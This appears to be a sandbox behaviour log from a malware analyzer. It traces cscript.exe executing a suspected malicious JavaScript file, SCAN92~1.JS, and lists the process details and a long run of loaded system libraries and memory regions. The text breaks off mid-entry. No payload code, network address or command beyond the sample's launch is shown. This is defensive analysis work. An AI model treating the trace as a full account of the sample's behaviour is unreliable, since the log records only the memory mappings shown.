# Flog Txt Version 1 # Analyzer Version: 2.3.0 # Analyzer Build Date: Apr 12 2018 14:32:59 # Log Creation Date: 23.05.2018 13:36:43.732 Process: id = "1" image_name = "cscript.exe" filename = "c:\\windows\\system32\\cscript.exe" page_root = "0x3162a000" os_pid = "0xaa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Windows\\System32\\CScript.exe\" \"C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7 start_va = 0xffc00000 end_va = 0xffc28fff entry_point = 0xffc00000 region_type = mapped_file name = "cscript.exe" filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe") Region: id = 8 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 9 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 10 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 11 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 146 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 147 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a30000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 148 start_va = 0x7fefde60000 end_va = 0x7fefdecafff entry_point = 0x7fefde60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 149 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 150 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 151 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 152 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b50000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 153 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 154 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 155 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd60000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 156 start_va = 0x7fefdf70000 end_va = 0x7fefe172fff entry_point = 0x7fefdf70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 157 start_va = 0x7fefefb0000 end_va = 0x7feff0dcfff entry_point = 0x7fefefb0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 158 start_va = 0x7feff210000 end_va = 0x7feff2aefff entry_point = 0x7feff210000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 159 start_va = 0x7feff2b0000 end_va = 0x7feff38afff entry_point = 0x7feff2b0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 160 start_va = 0x7feff390000 end_va = 0x7feff3aefff entry_point = 0x7feff390000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 161 start_va = 0x7feff3b0000 end_va = 0x7feff3bdfff entry_point = 0x7feff3b0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 162 start_va = 0x7feff910000 end_va = 0x7feff976fff entry_point = 0x7feff910000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 163 start_va = 0x7feffb10000 end_va = 0x7feffbe6fff entry_point = 0x7feffb10000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 164 start_va = 0x7feffe90000 end_va = 0x7fefff58fff entry_point = 0x7feffe90000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 165 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 166 start_va = 0x500000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 167 start_va = 0x510000 end_va = 0x697fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 168 start_va = 0x7feff3c0000 end_va = 0x7feff3edfff entry_point = 0x7feff3c0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 169 start_va = 0x7feffa00000 end_va = 0x7feffb08fff entry_point = 0x7feffa00000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 170 start_va = 0xb0000 end_va = 0xb6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 171 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 172 start_va = 0xd0000 end_va = 0xd2fff entry_point = 0xd0000 region_type = mapped_file name = "cscript.exe.mui" filename = "\\Windows\\System32\\en-US\\cscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cscript.exe.mui") Region: id = 173 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 174 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 175 start_va = 0x6a0000 end_va = 0x820fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 176 start_va = 0x830000 end_va = 0x1c2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 177 start_va = 0x250000 end_va = 0x2ccfff entry_point = 0x250000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 178 start_va = 0x250000 end_va = 0x2ccfff entry_point = 0x250000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 179 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 180 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4c0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 181 start_va = 0x1c30000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 182 start_va = 0x1c30000 end_va = 0x1d0efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c30000" filename = "" Region: id = 183 start_va = 0x1d50000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 184 start_va = 0x1fb0000 end_va = 0x20affff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 185 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 186 start_va = 0x20b0000 end_va = 0x237efff entry_point = 0x20b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 187 start_va = 0x100000 end_va = 0x113fff entry_point = 0x100000 region_type = mapped_file name = "cscript.exe" filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe") Region: id = 188 start_va = 0x7fefdaa0000 end_va = 0x7fefdb30fff entry_point = 0x7fefdaa0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 189 start_va = 0x1df0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 190 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 191 start_va = 0x7fefc090000 end_va = 0x7fefc0a7fff entry_point = 0x7fefc090000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 192 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 193 start_va = 0x7fefef10000 end_va = 0x7fefefa8fff entry_point = 0x7fefef10000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 194 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 195 start_va = 0x7fef36d0000 end_va = 0x7fef37b2fff entry_point = 0x7fef36d0000 region_type = mapped_file name = "jscript.dll" filename = "\\Windows\\System32\\jscript.dll" (normalized: "c:\\windows\\system32\\jscript.dll") Region: id = 196 start_va = 0x7feff980000 end_va = 0x7feff9f0fff entry_point = 0x7feff980000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 197 start_va = 0x2380000 end_va = 0x24b9fff entry_point = 0x2380000 region_type = mapped_file name = "scan92~1.js" filename = "\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js") Region: id = 198 start_va = 0x24c0000 end_va = 0x2733fff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 199 start_va = 0x7fefdc50000 end_va = 0x7fefdc89fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 200 start_va = 0x7fefdcb0000 end_va = 0x7fefde16fff entry_point = 0x7fefdcb0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 201 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc40000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 202 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd490000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 203 start_va = 0x250000 end_va = 0x294fff entry_point = 0x250000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 204 start_va = 0x250000 end_va = 0x294fff entry_point = 0x250000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 205 start_va = 0x250000 end_va = 0x294fff entry_point = 0x250000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 206 start_va = 0x250000 end_va = 0x294fff entry_point = 0x250000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 207 start_va = 0x250000 end_va = 0x294fff entry_point = 0x250000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 208 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd190000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 209 start_va = 0x2380000 end_va = 0x24b9fff entry_point = 0x2380000 region_type = mapped_file name = "scan92~1.js" filename = "\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js") Region: id = 210 start_va = 0x2810000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 211 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 212 start_va = 0x7fef8390000 end_va = 0x7fef839afff entry_point = 0x7fef8390000 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll") Region: id = 213 start_va = 0x2910000 end_va = 0x390ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002910000" filename = "" Region: id = 214 start_va = 0x3910000 end_va = 0x3a49fff entry_point = 0x3910000 region_type = mapped_file name = "scan92~1.js" filename = "\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js") Region: id = 215 start_va = 0x39f0000 end_va = 0x3aeffff entry_point = 0x0 region_type = private name = "private_0x00000000039f0000" filename = "" Region: id = 216 start_va = 0x7fef42f0000 end_va = 0x7fef430cfff entry_point = 0x7fef42f0000 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll") Region: id = 217 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 218 start_va = 0x7fef37c0000 end_va = 0x7fef385ffff entry_point = 0x7fef37c0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 219 start_va = 0x7feffdd0000 end_va = 0x7feffe66fff entry_point = 0x7feffdd0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 220 start_va = 0x7fefe180000 end_va = 0x7fefef07fff entry_point = 0x7fefe180000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 221 start_va = 0x1ef0000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 222 start_va = 0x3af0000 end_va = 0x3beffff entry_point = 0x0 region_type = private name = "private_0x0000000003af0000" filename = "" Region: id = 223 start_va = 0x2380000 end_va = 0x24b9fff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 224 start_va = 0x7fef4100000 end_va = 0x7fef413bfff entry_point = 0x7fef4100000 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll") Region: id = 225 start_va = 0x3bf0000 end_va = 0x3e63fff entry_point = 0x0 region_type = private name = "private_0x0000000003bf0000" filename = "" Region: id = 226 start_va = 0x3e70000 end_va = 0x40e3fff entry_point = 0x0 region_type = private name = "private_0x0000000003e70000" filename = "" Region: id = 227 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 228 start_va = 0x3bf0000 end_va = 0x3e63fff entry_point = 0x0 region_type = private name = "private_0x0000000003bf0000" filename = "" Region: id = 229 start_va = 0x3e70000 end_va = 0x421ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e70000" filename = "" Region: id = 230 start_va = 0x4220000 end_va = 0x441ffff entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 231 start_va = 0x2380000 end_va = 0x2480fff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 232 start_va = 0x4420000 end_va = 0x481ffff entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 233 start_va = 0x4820000 end_va = 0x4d03fff entry_point = 0x0 region_type = private name = "private_0x0000000004820000" filename = "" Region: id = 234 start_va = 0x4e40000 end_va = 0x4f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e40000" filename = "" Region: id = 235 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 236 start_va = 0x7fefdb80000 end_va = 0x7fefdb93fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 237 start_va = 0x4f50000 end_va = 0x504ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f50000" filename = "" Region: id = 238 start_va = 0x5060000 end_va = 0x515ffff entry_point = 0x0 region_type = private name = "private_0x0000000005060000" filename = "" Region: id = 239 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 240 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 241 start_va = 0x7fef38a0000 end_va = 0x7fef38d3fff entry_point = 0x7fef38a0000 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 242 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x250000 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 243 start_va = 0x7fef3560000 end_va = 0x7fef36cefff entry_point = 0x7fef3560000 region_type = mapped_file name = "msado15.dll" filename = "\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll") Region: id = 244 start_va = 0x7fef3870000 end_va = 0x7fef3897fff entry_point = 0x7fef3870000 region_type = mapped_file name = "msdart.dll" filename = "\\Windows\\System32\\msdart.dll" (normalized: "c:\\windows\\system32\\msdart.dll") Region: id = 245 start_va = 0x2380000 end_va = 0x243ffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 246 start_va = 0x7fef3380000 end_va = 0x7fef3553fff entry_point = 0x7fef3380000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 247 start_va = 0x5160000 end_va = 0x534ffff entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 248 start_va = 0x3910000 end_va = 0x39effff entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 249 start_va = 0x1ef0000 end_va = 0x1f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 250 start_va = 0x1f80000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 251 start_va = 0x5350000 end_va = 0x55affff entry_point = 0x0 region_type = private name = "private_0x0000000005350000" filename = "" Region: id = 252 start_va = 0x4d10000 end_va = 0x4e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d10000" filename = "" Region: id = 253 start_va = 0x2740000 end_va = 0x27fffff entry_point = 0x2740000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 254 start_va = 0x55b0000 end_va = 0x59affff entry_point = 0x0 region_type = private name = "private_0x00000000055b0000" filename = "" Region: id = 255 start_va = 0x260000 end_va = 0x260fff entry_point = 0x260000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 256 start_va = 0x270000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 257 start_va = 0x59b0000 end_va = 0x5c18fff entry_point = 0x0 region_type = private name = "private_0x00000000059b0000" filename = "" Region: id = 258 start_va = 0x5c20000 end_va = 0x5e88fff entry_point = 0x0 region_type = private name = "private_0x0000000005c20000" filename = "" Region: id = 259 start_va = 0x5160000 end_va = 0x5294fff entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 260 start_va = 0x52d0000 end_va = 0x534ffff entry_point = 0x0 region_type = private name = "private_0x00000000052d0000" filename = "" Region: id = 261 start_va = 0x5350000 end_va = 0x544ffff entry_point = 0x0 region_type = private name = "private_0x0000000005350000" filename = "" Region: id = 262 start_va = 0x5530000 end_va = 0x55affff entry_point = 0x0 region_type = private name = "private_0x0000000005530000" filename = "" Region: id = 263 start_va = 0x5e90000 end_va = 0x608ffff entry_point = 0x0 region_type = private name = "private_0x0000000005e90000" filename = "" Region: id = 264 start_va = 0x5160000 end_va = 0x525ffff entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 265 start_va = 0x7fef3350000 end_va = 0x7fef3377fff entry_point = 0x7fef3350000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 266 start_va = 0x7fefaaa0000 end_va = 0x7fefaab7fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 267 start_va = 0x290000 end_va = 0x2a3fff entry_point = 0x290000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 268 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 269 start_va = 0x6110000 end_va = 0x620ffff entry_point = 0x0 region_type = private name = "private_0x0000000006110000" filename = "" Region: id = 270 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc520000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 271 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 272 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 273 start_va = 0x7fefc670000 end_va = 0x7fefc863fff entry_point = 0x7fefc670000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 274 start_va = 0x4d0000 end_va = 0x4d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 275 start_va = 0x7fefcb60000 end_va = 0x7fefcb8cfff entry_point = 0x7fefcb60000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 276 start_va = 0x7feff730000 end_va = 0x7feff781fff entry_point = 0x7feff730000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 277 start_va = 0x4e0000 end_va = 0x4fefff entry_point = 0x4e0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 278 start_va = 0x1d10000 end_va = 0x1d10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 279 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 280 start_va = 0x2c0000 end_va = 0x2c3fff entry_point = 0x2c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 281 start_va = 0x1d20000 end_va = 0x1d4ffff entry_point = 0x1d20000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 282 start_va = 0x1dd0000 end_va = 0x1dd3fff entry_point = 0x1dd0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 283 start_va = 0x2440000 end_va = 0x24a5fff entry_point = 0x2440000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = 